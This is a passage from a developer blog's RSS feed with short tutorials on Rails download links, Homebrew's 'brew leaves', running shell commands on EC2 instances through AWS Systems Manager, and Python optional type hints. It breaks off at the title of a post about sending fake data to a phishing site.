<p>For additional context, here is all the code required to get this to work.</p>
<p>First I created this method in <code>statements_controller.rb</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">download</span>
</span></span><span class="line"><span class="cl">  <span class="n">render</span> <span class="ss">json</span><span class="p">:</span> <span class="vi">@user</span><span class="o">.</span><span class="n">statements</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Then I added a new route to <code>routes.rb</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">get</span> <span class="s1">&#39;statements/download&#39;</span><span class="p">,</span> <span class="ss">to</span><span class="p">:</span> <span class="s1">&#39;statements#download&#39;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>And then I added the <code>link_to</code> helper in the view:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="o">&lt;%=</span> <span class="n">link_to</span> <span class="s1">&#39;Download All Statements as JSON&#39;</span><span class="p">,</span> <span class="n">statements_download_path</span><span class="p">,</span> <span class="ss">download</span><span class="p">:</span> <span class="s1">&#39;statements.json&#39;</span> <span class="o">%&gt;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The <code>link_to</code> ERB helper is creating this HTML:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">a</span> <span class="na">download</span><span class="o">=</span><span class="s">&#34;statements.json&#34;</span> <span class="na">href</span><span class="o">=</span><span class="s">&#34;/statements/download&#34;</span><span class="p">&gt;</span>Download All Statements as JSON<span class="p">&lt;/</span><span class="nt">a</span><span class="p">&gt;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The <code>download</code> attribute can be customized in ERB. For example, I can name the file based on the user&rsquo;s name like so:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="o">&lt;%=</span> <span class="n">link_to</span> <span class="s1">&#39;Download All Statements as JSON&#39;</span><span class="p">,</span> <span class="n">statements_download_path</span><span class="p">,</span> <span class="ss">download</span><span class="p">:</span> <span class="s2">&#34;</span><span class="si">#{</span><span class="vi">@user</span><span class="o">.</span><span class="n">name</span><span class="o">.</span><span class="n">downcase</span><span class="si">}</span><span class="s2">-statements&#34;</span> <span class="o">%&gt;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>And it will generate the following HTML:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">a</span> <span class="na">download</span><span class="o">=</span><span class="s">&#34;nelson-statements&#34;</span> <span class="na">href</span><span class="o">=</span><span class="s">&#34;/statements/download&#34;</span><span class="p">&gt;</span>Download All Statements as JSON<span class="p">&lt;/</span><span class="nt">a</span><span class="p">&gt;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>This link will trigger a download for <code>nelson-statements.json</code> in my case.</p>
<p>Ultimately this was a case of understanding the <code>download</code> HTML attribute for <code>&lt;a&gt;</code> tags and how to use it in Rails.</p>
<h2 id="further-reading-and-references">Further Reading and References</h2>
<blockquote><p><strong>Note:</strong></p>There are other ways of handling this, like using the <code>send_data</code> method in a controller. But that&rsquo;s beyond the scope of this post. Read more about it here: 

<a href="https://api.rubyonrails.org/v7.0.1/classes/ActionController/DataStreaming.html#method-i-send_data" target="_blank" rel="noopener">https://api.rubyonrails.org/v7.0.1/classes/ActionController/DataStreaming.html#method-i-send_data</a></blockquote>

<p>References:</p>
<ul>
<li>

<a href="https://www.w3schools.com/tags/att_a_download.asp" target="_blank" rel="noopener">https://www.w3schools.com/tags/att_a_download.asp</a></li>
<li>

<a href="https://forum.upcase.com/t/download-html-file-instead-of-opening-in-browser-with-link-to/2994" target="_blank" rel="noopener">https://forum.upcase.com/t/download-html-file-instead-of-opening-in-browser-with-link-to/2994</a></li>
<li>

<a href="https://www.reddit.com/r/rails/comments/co0h6i/whats_the_best_way_create_a_download_image_link/" target="_blank" rel="noopener">https://www.reddit.com/r/rails/comments/co0h6i/whats_the_best_way_create_a_download_image_link/</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Find Unnecessary Homebrew Packages with &#34;brew leaves&#34;</title>
      <link>https://nelson.cloud/find-unnecessary-homebrew-packages-with-brew-leaves/?ref=rss</link>
      <pubDate>Mon, 22 Jan 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/find-unnecessary-homebrew-packages-with-brew-leaves/?ref=rss</guid>
      <description>Use the &amp;lsquo;brew leaves&amp;rsquo; command to find potentially unnecessary Homebrew packages.</description><content:encoded><![CDATA[<p>

<a href="https://brew.sh/" target="_blank" rel="noopener">Homebrew</a> has a 

<a href="https://docs.brew.sh/Manpage#leaves---installed-on-request---installed-as-dependency" target="_blank" rel="noopener">&ldquo;brew leaves&rdquo;</a> command that shows all installed packages that are not depended on by other packages. That means that they can be uninstalled without causing issues to other installed Homebrew packages. It&rsquo;s good to regularly run this command to keep Homebrew from getting too bloated.</p>
<p>Here&rsquo;s what my <code>brew leaves</code> output looks like at the time of this writing:</p>
<pre tabindex="0"><code>$ brew leaves

automake
bat
black
coreutils
ffmpeg
go
htop
hugo
jq
libksba
libpq
libtool
libyaml
node
openssl@1.1
pkg-config
postgresql@14
python-typing-extensions
tldr
tree
yt-dlp
zlib
</code></pre><p>In my case, I know I don&rsquo;t need the <code>libpq</code> package anymore. So I can remove this package and then run <code>brew leaves</code> again to confirm it&rsquo;s gone.</p>
<pre tabindex="0"><code>$ brew remove libpq

Uninstalling /opt/homebrew/Cellar/libpq/16.1_1... (2,380 files, 29.9MB)
</code></pre><pre tabindex="0"><code>$ brew leaves

automake
bat
black
coreutils
ffmpeg
go
htop
hugo
jq
libksba
libtool
libyaml
node
openssl@1.1
pkg-config
postgresql@14
python-typing-extensions
tldr
tree
yt-dlp
zlib
</code></pre><p>And now <code>libpq</code> is gone! Try out <code>brew leaves</code> yourself. You may be surprised at the amount of things installed that you may not actually need.</p>
<h2 id="references">References</h2>
<ul>
<li>

<a href="https://docs.brew.sh/Manpage#leaves---installed-on-request---installed-as-dependency" target="_blank" rel="noopener">https://docs.brew.sh/Manpage#leaves---installed-on-request---installed-as-dependency</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>AWS SSM: Run a Shell Command Against Multiple EC2 Instances</title>
      <link>https://nelson.cloud/aws-ssm-run-a-shell-command-against-multiple-ec2-instances/?ref=rss</link>
      <pubDate>Thu, 18 Jan 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/aws-ssm-run-a-shell-command-against-multiple-ec2-instances/?ref=rss</guid>
      <description>How to run a shell command against multiple EC2 instances using AWS Systems Manager</description><content:encoded><![CDATA[<p>In AWS, you can use 

<a href="https://aws.amazon.com/systems-manager/" target="_blank" rel="noopener">AWS Systems Manager</a> to run commands on any EC2 Instances that have the 

<a href="https://docs.aws.amazon.com/systems-manager/latest/userguide/ssm-agent.html" target="_blank" rel="noopener">AWS Systems Manager Agent</a> installed. AWS Systems Manager has a lot more functionality than what I&rsquo;m demonstrating here, but this is a specific use case.</p>
<h2 id="shell-command-setup">Shell Command Setup</h2>
<p>To get started running a shell command on multiple EC2 Instances, head over to 

<a href="https://console.aws.amazon.com/systems-manager/home" target="_blank" rel="noopener">AWS Systems Manager via the AWS Console</a>. Then, on the left side under &ldquo;Node Management&rdquo;, click on &ldquo;Run Command&rdquo;.</p>
<img src="/run-a-shell-command-on-ec2-instances/node-management.webp" alt="Node Management menu" width="500" height="608" style="max-width: 100%; height: auto; aspect-ratio: 500 / 608;" loading="lazy" decoding="async">
<p>On the next screen, click on the orange &ldquo;Run a Command&rdquo; button on the right.</p>
<img src="/run-a-shell-command-on-ec2-instances/aws-ssm-run-command.webp" alt="AWS SSM home page" width="720" height="214" style="max-width: 100%; height: auto; aspect-ratio: 2040 / 608;" loading="lazy" decoding="async">
<p>Next, under &ldquo;Command document&rdquo; search for &ldquo;shell&rdquo; to find <code>AWS-RunShellScript</code> and select it.</p>
<img src="/run-a-shell-command-on-ec2-instances/command-document.webp" alt="AWS SSM command document" width="720" height="328" style="max-width: 100%; height: auto; aspect-ratio: 2704 / 1232;" loading="lazy" decoding="async">
<p>Then, under &ldquo;Command parameters&rdquo; type in the shell command you want to run on your EC2 instances. In my case, I want to run security updates on my instances.</p>
<img src="/run-a-shell-command-on-ec2-instances/command-parameters.webp" alt="AWS SSM command parameters" width="720" height="330" style="max-width: 100%; height: auto; aspect-ratio: 984 / 452;" loading="lazy" decoding="async">
<p>Then select EC2 Instances by your preferred method under &ldquo;Target Selection&rdquo;. I chose to manually select my instances but you can also select based on tags or resource groups. Make sure you are using the same region your EC2 instances are in!</p>
<img src="/run-a-shell-command-on-ec2-instances/target-selection.webp" alt="AWS SSM target selection" width="720" height="333" style="max-width: 100%; height: auto; aspect-ratio: 2692 / 1248;" loading="lazy" decoding="async">
<p>This part is optional. If you want log outputs of the commands that are run on every instance you can save logs to a S3 Bucket under &ldquo;Output options&rdquo;. Make sure the Instance Profile IAM Role has permissions to write to this bucket!</p>
<img src="/run-a-shell-command-on-ec2-instances/output-options.webp" alt="AWS SSM output options" width="720" height="269" style="max-width: 100%; height: auto; aspect-ratio: 2688 / 1006;" loading="lazy" decoding="async">
<p>I left all other settings with their default values.</p>
<p>Now we can click the orange &ldquo;Run&rdquo; button on the bottom of the page to execute our command.</p>
<h2 id="after-running-a-command">After Running a Command</h2>
<p>After running a command you&rsquo;ll see the following screen. You can see the status of the command execution on each EC2 instance to ensure everything went fine. You can also see the Command ID here which will come in handy if you enabled S3 logging.</p>
<img src="/run-a-shell-command-on-ec2-instances/command-id.webp" alt="SSM screen after execution" width="720" height="261" style="max-width: 100%; height: auto; aspect-ratio: 2708 / 984;" loading="lazy" decoding="async">
<h3 id="viewing-logs">Viewing Logs</h3>
<p>If you enabled logging to S3, you can browse to the bucket you selected and view logs. The output log file will be several directories deep under <code>&lt;Command ID&gt;/&lt;ec2-instance-id&gt;/&lt;command document&gt;/...</code>. It&rsquo;s easier if you refer to the screenshot below:</p>
<img src="/run-a-shell-command-on-ec2-instances/s3-logs.webp" alt="AWS SSM output logs" width="720" height="324" style="max-width: 100%; height: auto; aspect-ratio: 2444 / 1100;" loading="lazy" decoding="async">
<p>I downloaded the <code>stdout</code> file locally and viewed it via the command line to confirm that my command executed properly on this particular EC2 instance:</p>
<pre tabindex="0"><code>$ cat stdout

Last metadata expiration check: 0:15:25 ago on Thu Jan 18 21:10:06 2024.
Dependencies resolved.
Nothing to do.
Complete!
</code></pre><h2 id="troubleshooting">Troubleshooting</h2>
<p>I personally ran into some issues when trying to do this for the first time. Here are a few troubleshooting solutions.</p>
<h3 id="ec2-instances-dont-show-up-in-systems-manager">EC2 Instances Don&rsquo;t Show Up in Systems Manager</h3>
<p>If your EC2 Instances do not show up under &ldquo;Target selection&rdquo; they may not have the SSM agent installed. AWS has documentation to guide you through the installation process: 

<a href="https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html" target="_blank" rel="noopener">Manually installing SSM Agent on EC2 instances for Linux</a>.</p>
<p>If your EC2 Instances do have the SSM agent installed but still aren&rsquo;t showing up, they may not have an IAM instance profile. You can confirm this by clicking on an EC2 Instance and then checking under the &ldquo;IAM Role&rdquo; field. If this field is empty, assign an IAM Role and ensure it has proper permissions. In my case, I used two AWS managed policies <code>AmazonSSMManagedInstanceCore</code> and <code>AmazonSSMPatchAssociation</code>.</p>
<img src="/run-a-shell-command-on-ec2-instances/permission-policies.webp" alt="AWS IAM permission policies" width="720" height="299" style="max-width: 100%; height: auto; aspect-ratio: 1500 / 624;" loading="lazy" decoding="async">
<p>(The inline policy in the screenshot is to grant this Role S3 permissions for logging purposes which I cover in the next section.)</p>
<h3 id="no-log-output-to-s3">No Log Output to S3</h3>
<p>If you see no log output in your S3 bucket, you may need to add proper permissions to the instance profile IAM Role of the EC2 instances you selected.</p>
<p>Here is the policy I attached to the IAM instance profile role that got logging to work for me. Change the bucket name <code>my-bucket</code> accordingly!</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;Version&#34;</span><span class="p">:</span> <span class="s2">&#34;2012-10-17&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;Statement&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;Effect&#34;</span><span class="p">:</span> <span class="s2">&#34;Allow&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;Action&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;s3:PutObject&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;s3:GetBucketAcl&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;s3:GetBucketLocation&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;s3:GetObject&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;s3:ListBucket&#34;</span>
</span></span><span class="line"><span class="cl">      <span class="p">],</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;Resource&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;arn:aws:s3:::my-bucket&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;arn:aws:s3:::my-bucket/*&#34;</span>
</span></span><span class="line"><span class="cl">      <span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote>]]></content:encoded>
    </item>
    <item>
      <title>Optional Type Hints in Python</title>
      <link>https://nelson.cloud/optional-type-hints-in-python/?ref=rss</link>
      <pubDate>Tue, 16 Jan 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/optional-type-hints-in-python/?ref=rss</guid>
      <description>Comparing Optional[str] vs str | None syntax in Python v3.10+ with practical examples.</description><content:encoded><![CDATA[<p>Python lets you write optional type hints where you can return either a specified type or <code>None</code>. This is a guide with some examples demonstrating different use cases.</p>
<blockquote><p><strong>Note:</strong></p><p>Despite type hints, a function will still let you return whatever type you want. Type hints are more useful when using linting tools or an IDE to ensure that functions return the correct value(s).</p>
<p>All examples on this post have been tested with Python 3.12.1</p>
</blockquote>

<p>For reference, here is what it looks like when a <em>non-optional</em> type hint for a string is specified in a Python function&rsquo;s argument and return value:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">example</span><span class="p">(</span><span class="n">string</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="s2">&#34;Hello!&#34;</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="two-ways-of-specifying-optional-type-hints">Two Ways of Specifying Optional Type Hints</h2>
<p>There are two ways to specify optional type hints.</p>
<p>You can import <code>Optional</code> from the <code>typing</code> module and then specify type hints as follows:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">typing</span> <span class="kn">import</span> <span class="n">Optional</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">example</span><span class="p">(</span><span class="n">value</span><span class="p">:</span> <span class="n">Optional</span><span class="p">[</span><span class="nb">str</span><span class="p">])</span> <span class="o">-&gt;</span> <span class="n">Optional</span><span class="p">[</span><span class="nb">str</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">value</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>As of Python 3.10, you can also use a shorthand notation, replacing <code>Optional[str]</code> with <code>str | None</code>. There is no import required:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">example</span><span class="p">(</span><span class="n">value</span><span class="p">:</span> <span class="nb">str</span> <span class="o">|</span> <span class="kc">None</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span> <span class="o">|</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">value</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Both examples above are equivalent to each other. Both functions also accept <code>None</code> as a return type.</p>
<h2 id="examples">Examples</h2>
<p>Here are some useful examples showing optional type hints using the <code>typing</code> module and the shorthand notation.</p>
<h3 id="one-optional-type-hint">One Optional Type Hint</h3>
<p>A single optional type hint for an integer as an argument and as a return value looks like this:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">typing</span> <span class="kn">import</span> <span class="n">Optional</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">example</span><span class="p">(</span><span class="n">num</span><span class="p">:</span> <span class="n">Optional</span><span class="p">[</span><span class="nb">int</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Optional</span><span class="p">[</span><span class="nb">int</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">num</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>And this is what the shorthand notation looks like:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">example</span><span class="p">(</span><span class="n">num</span><span class="p">:</span> <span class="nb">int</span> <span class="o">|</span> <span class="kc">None</span> <span class="o">=</span> <span class="mi">0</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">int</span> <span class="o">|</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">num</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>In the examples above, the <code>num</code> variable has to be an integer or <code>None</code>, and it has a default value of <code>0</code>. The return type has to be an integer or <code>None</code>.</p>
<h3 id="two-or-more-optional-type-hints">Two or More Optional Type Hints</h3>
<p>To specify two or more optional type hints, we need to import <code>Union</code> from the <code>typing</code> module.</p>
<p>In this example, the type hints indicate that either an integer, a string, or <code>None</code> can be assigned to the <code>data</code> input variable. The <code>data</code> variable has a default value of <code>None</code>.</p>
<p>The type hints also indicate that an integer, a string, or <code>None</code> can be returned.</p>
<p>Linters like 

<a href="https://mypy.readthedocs.io/en/stable/getting_started.html" target="_blank" rel="noopener">mypy</a> prefer an explicit <code>None</code> return value when <code>None</code> is a valid return type. That&rsquo;s why the examples have <code>return None</code> instead of just <code>return</code> at the end of the function.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">typing</span> <span class="kn">import</span> <span class="n">Union</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">example</span><span class="p">(</span><span class="n">data</span><span class="p">:</span> <span class="n">Union</span><span class="p">[</span><span class="nb">int</span><span class="p">,</span> <span class="nb">str</span><span class="p">,</span> <span class="kc">None</span><span class="p">]</span> <span class="o">=</span> <span class="kc">None</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Union</span><span class="p">[</span><span class="nb">int</span><span class="p">,</span> <span class="nb">str</span><span class="p">,</span> <span class="kc">None</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="kc">None</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>And this is what the shorthand notation would look like in Python 3.10+:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">example</span><span class="p">(</span><span class="n">data</span><span class="p">:</span> <span class="nb">int</span> <span class="o">|</span> <span class="nb">str</span> <span class="o">|</span> <span class="kc">None</span> <span class="o">=</span> <span class="kc">None</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">int</span> <span class="o">|</span> <span class="nb">str</span> <span class="o">|</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="kc">None</span>
</span></span></code></pre></td></tr></table>
</blockquote><blockquote><p><strong>Note:</strong></p><p>When using <code>Union</code>, it does not include the <code>None</code> type by default. Unlike <code>Optional</code>, which includes <code>None</code> by default.</p>
<p>If you want <code>None</code> to be included in <code>Union</code> you need to be explicit:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">Union</span><span class="p">[</span><span class="nb">int</span><span class="p">,</span> <span class="kc">None</span><span class="p">]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>With <code>Optional</code>, you don&rsquo;t need to be explicit:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">Optional</span><span class="p">[</span><span class="nb">int</span><span class="p">]</span>
</span></span></code></pre></td></tr></table>
</blockquote>
</div>

<h3 id="mandatory-presence-of-two-or-more-optional-type-hints">Mandatory Presence of Two or More Optional Type Hints</h3>
<p>If you&rsquo;d like to create a type hint that specifies a function <em>must</em> return 2 or more types (as opposed to at least one of the specified types), you need to use tuples. In this case we import <code>Tuple</code> instead of <code>Union</code> and use it in the type hint:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">typing</span> <span class="kn">import</span> <span class="n">Tuple</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">example</span><span class="p">(</span><span class="n">num</span><span class="p">:</span> <span class="nb">int</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">string</span><span class="p">:</span> <span class="nb">str</span> <span class="o">=</span> <span class="s2">&#34;Hello!&#34;</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Tuple</span><span class="p">[</span><span class="nb">int</span><span class="p">,</span> <span class="nb">str</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">num</span><span class="p">,</span> <span class="n">string</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Tuples can also be used as type hints for function arguments. In the example below, the type of <code>values</code> must be a tuple consisting of an integer and a string. The default value is a tuple with <code>0</code> and an empty string <code>&quot;&quot;</code>.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">typing</span> <span class="kn">import</span> <span class="n">Tuple</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">example</span><span class="p">(</span><span class="n">values</span><span class="p">:</span> <span class="n">Tuple</span><span class="p">[</span><span class="nb">int</span><span class="p">,</span> <span class="nb">str</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="s2">&#34;&#34;</span><span class="p">))</span> <span class="o">-&gt;</span> <span class="n">Tuple</span><span class="p">[</span><span class="nb">int</span><span class="p">,</span> <span class="nb">str</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">values</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>As of Python 3.9, there is a shorthand for tuple type hints. You can use <code>tuple</code> instead of importing <code>Tuple</code> from the <code>typing</code> module:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">example</span><span class="p">(</span><span class="n">values</span><span class="p">:</span> <span class="nb">tuple</span><span class="p">[</span><span class="nb">int</span><span class="p">,</span> <span class="nb">str</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="s2">&#34;&#34;</span><span class="p">))</span> <span class="o">-&gt;</span> <span class="nb">tuple</span><span class="p">[</span><span class="nb">int</span><span class="p">,</span> <span class="nb">str</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">values</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="references">References</h2>
<p>I am no expert in Python, so please refer to the official documentation for more information:</p>
<ul>
<li>

<a href="https://docs.python.org/3/library/typing.html" target="_blank" rel="noopener">https://docs.python.org/3/library/typing.html</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Hitting Back at Ledger Scammers With Python</title>
      <link>https://nelson.cloud/hitting-back-at-ledger-scammers-with-python/?ref=rss</link>
      <pubDate>Wed, 27 Dec 2023 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/hitting-back-at-ledger-scammers-with-python/?ref=rss</guid>
      <description>Using a Python script to send fake data to a Ledger phishing site.</description><content:encoded><![CDATA[<h2 id="fake-ledger-email">Fake Ledger Email</h2>
<p>I recently received this email claiming to be from 

